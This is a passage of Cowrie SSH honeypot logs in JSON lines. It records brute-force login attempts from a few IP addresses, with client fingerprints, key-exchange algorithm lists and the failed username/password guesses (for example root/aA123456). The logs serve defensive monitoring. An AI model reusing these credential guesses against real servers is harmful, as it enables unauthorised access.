-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:04.724478Z","src_ip":"176.65.139.95","session":"5e3f28412c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:05.014460Z","src_ip":"176.65.139.95","session":"5e3f28412c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:06.210207Z","src_ip":"176.65.139.95","session":"5e3f28412c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54400,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbb0426d27da","protocol":"ssh","message":"New connection: 192.109.200.78:54400 (159.203.135.109:22) [session: fbb0426d27da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:06.852141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:06.856954Z","src_ip":"192.109.200.78","session":"fbb0426d27da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:06.941986Z","src_ip":"192.109.200.78","session":"fbb0426d27da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:07.188612Z","src_ip":"192.109.200.78","session":"fbb0426d27da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:08.275170Z","src_ip":"192.109.200.78","session":"fbb0426d27da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49712,"dst_ip":"159.203.135.109","dst_port":22,"session":"4279c3b5f83f","protocol":"ssh","message":"New connection: 159.203.92.129:49712 (159.203.135.109:22) [session: 4279c3b5f83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:09.530889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:09.536486Z","src_ip":"159.203.92.129","session":"4279c3b5f83f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:09.541669Z","src_ip":"159.203.92.129","session":"4279c3b5f83f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MS2020","password":"MS2020","message":"login attempt [MS2020/MS2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:09.553995Z","src_ip":"159.203.92.129","session":"4279c3b5f83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:10.561491Z","src_ip":"159.203.92.129","session":"4279c3b5f83f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58236,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b76b8f0b816","protocol":"ssh","message":"New connection: 192.109.200.78:58236 (159.203.135.109:22) [session: 2b76b8f0b816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:10.797908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:10.802247Z","src_ip":"192.109.200.78","session":"2b76b8f0b816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:10.885731Z","src_ip":"192.109.200.78","session":"2b76b8f0b816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"e958e0c57567","protocol":"ssh","message":"New connection: 176.65.139.95:36982 (159.203.135.109:22) [session: e958e0c57567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:11.359284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:11.364946Z","src_ip":"176.65.139.95","session":"e958e0c57567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:11.392893Z","src_ip":"192.109.200.78","session":"2b76b8f0b816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:11.458884Z","src_ip":"176.65.139.95","session":"e958e0c57567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:11.969335Z","src_ip":"176.65.139.95","session":"e958e0c57567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:12.481501Z","src_ip":"192.109.200.78","session":"2b76b8f0b816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:13.201622Z","src_ip":"176.65.139.95","session":"e958e0c57567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58244,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa80cca78a1","protocol":"ssh","message":"New connection: 192.109.200.78:58244 (159.203.135.109:22) [session: efa80cca78a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:14.861830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:14.867246Z","src_ip":"192.109.200.78","session":"efa80cca78a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:14.952647Z","src_ip":"192.109.200.78","session":"efa80cca78a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:15.204266Z","src_ip":"192.109.200.78","session":"efa80cca78a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:16.458264Z","src_ip":"192.109.200.78","session":"efa80cca78a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5626d6538b91","protocol":"ssh","message":"New connection: 176.65.139.95:36988 (159.203.135.109:22) [session: 5626d6538b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:17.967803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:17.973979Z","src_ip":"176.65.139.95","session":"5626d6538b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:18.055040Z","src_ip":"176.65.139.95","session":"5626d6538b91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:18.488131Z","src_ip":"176.65.139.95","session":"5626d6538b91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33588,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ad1c1f4cb1","protocol":"ssh","message":"New connection: 192.109.200.78:33588 (159.203.135.109:22) [session: c5ad1c1f4cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:18.876618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:18.881706Z","src_ip":"192.109.200.78","session":"c5ad1c1f4cb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:18.963960Z","src_ip":"192.109.200.78","session":"c5ad1c1f4cb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:19.209707Z","src_ip":"192.109.200.78","session":"c5ad1c1f4cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:19.580816Z","src_ip":"176.65.139.95","session":"5626d6538b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:20.295638Z","src_ip":"192.109.200.78","session":"c5ad1c1f4cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33596,"dst_ip":"159.203.135.109","dst_port":22,"session":"4efc74aacfbd","protocol":"ssh","message":"New connection: 192.109.200.78:33596 (159.203.135.109:22) [session: 4efc74aacfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:23.005402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:23.010633Z","src_ip":"192.109.200.78","session":"4efc74aacfbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:23.094730Z","src_ip":"192.109.200.78","session":"4efc74aacfbd","protocol":"ssh"}
